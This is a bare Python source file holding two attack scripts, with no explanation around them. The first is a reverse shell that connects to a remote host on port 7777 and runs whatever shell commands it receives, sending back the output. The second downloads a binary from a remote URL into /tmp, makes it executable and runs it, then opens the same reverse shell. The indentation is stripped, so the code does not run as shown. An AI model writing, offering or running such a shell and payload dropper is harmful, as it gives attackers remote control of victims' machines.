import socket
import subprocess
import os
server_ip = '8.8.8.8'
server_port = 7777
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, server_port))
while True:
command = client_socket.recv(4096).decode()
if command.lower() == 'exit':
break
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
except Exception as e:
output = str(e).encode()
client_socket.send(output)
client_socket.close()
import urllib
import os
import socket
import subprocess
def download_file(url, filename):
try:
urllib.urlretrieve(url, filename)
return True
except Exception as e:
return False
def run_elf(elf_file):
if os.path.exists(elf_file):
try:
os.chmod(elf_file, 0o755)
os.system("./" + elf_file)
except Exception as e:
pass
else:
pass
server_ip = '8.8.8.8'
server_port = 7777
download_url = "http://8.8.8.8:1234/1"
local_filename = "/tmp/downloaded_elf.elf"
if download_file(download_url, local_filename):
run_elf(local_filename)
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((server_ip, server_port))
while True:
command = client_socket.recv(4096).decode()
if command.lower() == 'exit':
break
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
except Exception as e:
output = str(e).encode()
client_socket.send(output)
client_socket.close()